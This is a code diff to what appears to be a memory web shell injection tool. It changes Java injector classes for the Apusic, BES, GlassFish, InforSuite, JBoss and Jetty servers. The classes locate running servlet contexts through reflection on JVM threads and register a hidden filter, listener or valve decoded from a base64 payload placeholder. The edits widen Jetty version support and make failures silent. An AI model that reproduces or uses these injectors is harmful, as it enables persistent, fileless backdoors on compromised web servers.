contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -44,7 +45,7 @@ public class ApusicListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -45,7 +46,7 @@ public class ApusicServletInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
||||||
|
|||||||
@@ -47,7 +47,7 @@ public class BesFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
@@ -43,7 +43,7 @@ public class BesListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ public class BesValveInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
@@ -46,16 +46,14 @@ public class GlassFishFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
Collection<?> values = childrenMap.values();
|
Collection<?> values = childrenMap.values();
|
||||||
for (Object value : values) {
|
for (Object value : values) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
for (Object context : children.values()) {
|
contexts.addAll(children.values());
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -99,12 +97,15 @@ public class GlassFishFilterInjector {
|
|||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
|
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
try {
|
||||||
constructors[0].setAccessible(true);
|
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
constructors[0].setAccessible(true);
|
||||||
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
|
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||||
filterConfigs.put(filterName, filterConfig);
|
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
|
||||||
log.info("filter added successfully");
|
filterConfigs.put(filterName, filterConfig);
|
||||||
|
log.info("filter added successfully");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -43,16 +43,14 @@ public class GlassFishListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
Collection<?> values = childrenMap.values();
|
Collection<?> values = childrenMap.values();
|
||||||
for (Object value : values) {
|
for (Object value : values) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
for (Object context : children.values()) {
|
contexts.addAll(children.values());
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -39,16 +39,14 @@ public class GlassFishValveInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
Collection<?> values = childrenMap.values();
|
Collection<?> values = childrenMap.values();
|
||||||
for (Object value : values) {
|
for (Object value : values) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
for (Object context : children.values()) {
|
contexts.addAll(children.values());
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,10 +6,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.logging.Logger;
|
import java.util.logging.Logger;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -49,18 +46,13 @@ public class InforSuiteFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object key : childrenMap.keySet()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
|
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||||
for (Object key1 : children.keySet()) {
|
contexts.addAll(children.values());
|
||||||
Object context = children.get(key1);
|
|
||||||
if (context != null) {
|
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,10 +6,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.Collection;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -48,7 +45,7 @@ public class JbossFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ public class JbossListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ public class JbossValveInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -49,17 +50,32 @@ public class JettyFilterInjector {
|
|||||||
if (servletHandler == null) {
|
if (servletHandler == null) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (isInjected(servletHandler)) {
|
if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
System.out.println("filter is already injected");
|
System.out.println("filter is already injected");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
String[] classNames = new String[]{
|
||||||
|
"org.eclipse.jetty.servlet.FilterHolder",
|
||||||
|
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
||||||
|
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
||||||
|
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
||||||
|
"org.mortbay.jetty.servlet.FilterHolder",
|
||||||
|
};
|
||||||
|
|
||||||
Class<?> filterHolderClass = null;
|
Class<?> filterHolderClass = null;
|
||||||
try {
|
|
||||||
filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
|
for (String className : classNames) {
|
||||||
} catch (ClassNotFoundException e) {
|
try {
|
||||||
filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
|
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (filterHolderClass == null) {
|
||||||
|
throw new ClassNotFoundException("FilterHodler");
|
||||||
|
}
|
||||||
|
|
||||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||||
Object filterHolder = constructor.newInstance(filter.getClass());
|
Object filterHolder = constructor.newInstance(filter.getClass());
|
||||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -106,29 +122,26 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<Object> getContext() {
|
private List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
|
// jetty 6
|
||||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||||
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
|
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
|
||||||
Object context = getFieldValue(contextClassLoader, "_context");
|
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||||
Object handler = getFieldValue(context, "_servletHandler");
|
|
||||||
contexts.add(getFieldValue(handler, "_contextHandler"));
|
|
||||||
} else {
|
} else {
|
||||||
Object threadLocals = getFieldValue(thread, "threadLocals");
|
// jetty 7+
|
||||||
Object table = getFieldValue(threadLocals, "table");
|
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
for (int i = 0; i < Array.getLength(table); i++) {
|
||||||
Object entry = Array.get(table, i);
|
Object entry = Array.get(table, i);
|
||||||
if (entry != null) {
|
if (entry != null) {
|
||||||
Object httpConnection = getFieldValue(entry, "value");
|
Object threadLocalValue = getFieldValue(entry, "value");
|
||||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
if (threadLocalValue != null) {
|
||||||
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
|
||||||
Object request = invokeMethod(httpChannel, "getRequest");
|
contexts.add(getFieldValue(threadLocalValue, "this$0"));
|
||||||
Object session = invokeMethod(request, "getSession");
|
}
|
||||||
Object servletContext = invokeMethod(session, "getServletContext");
|
|
||||||
contexts.add(getFieldValue(servletContext, "this$0"));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -156,26 +169,6 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean isInjected(Object servletHandler) throws Exception {
|
|
||||||
Object filterMappings = getFieldValue(servletHandler, "_filterMappings");
|
|
||||||
if (filterMappings == null) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
Object[] filterMaps = new Object[0];
|
|
||||||
if (filterMappings instanceof List) {
|
|
||||||
filterMaps = ((List<?>) filterMappings).toArray();
|
|
||||||
} else if (filterMappings instanceof Object[]) {
|
|
||||||
filterMaps = (Object[]) filterMappings;
|
|
||||||
}
|
|
||||||
for (Object filterMap : filterMaps) {
|
|
||||||
Object filterName = getFieldValue(filterMap, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
|||||||
@@ -10,6 +10,7 @@ import java.lang.reflect.Method;
|
|||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.EventListener;
|
import java.util.EventListener;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -43,29 +44,26 @@ public class JettyListenerInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<Object> getContext() {
|
private List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
|
// jetty 6
|
||||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||||
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
|
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
|
||||||
Object context = getFieldValue(contextClassLoader, "_context");
|
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||||
Object handler = getFieldValue(context, "_servletHandler");
|
|
||||||
contexts.add(getFieldValue(handler, "_contextHandler"));
|
|
||||||
} else {
|
} else {
|
||||||
Object threadLocals = getFieldValue(thread, "threadLocals");
|
// jetty 7+
|
||||||
Object table = getFieldValue(threadLocals, "table");
|
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
for (int i = 0; i < Array.getLength(table); i++) {
|
||||||
Object entry = Array.get(table, i);
|
Object entry = Array.get(table, i);
|
||||||
if (entry != null) {
|
if (entry != null) {
|
||||||
Object httpConnection = getFieldValue(entry, "value");
|
Object threadLocalValue = getFieldValue(entry, "value");
|
||||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
if (threadLocalValue != null) {
|
||||||
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
|
||||||
Object request = invokeMethod(httpChannel, "getRequest");
|
contexts.add(getFieldValue(threadLocalValue, "this$0"));
|
||||||
Object session = invokeMethod(request, "getSession");
|
}
|
||||||
Object servletContext = invokeMethod(session, "getServletContext");
|
|
||||||
contexts.add(getFieldValue(servletContext, "this$0"));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -95,9 +93,11 @@ public class JettyListenerInjector {
|
|||||||
|
|
||||||
public static void inject(Object context, Object listener) throws Exception {
|
public static void inject(Object context, Object listener) throws Exception {
|
||||||
if (isInjected(context, listener.getClass().getName())) {
|
if (isInjected(context, listener.getClass().getName())) {
|
||||||
|
System.out.println("listener is already injected");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||||
|
System.out.println("listener added successfully");
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
|
|||||||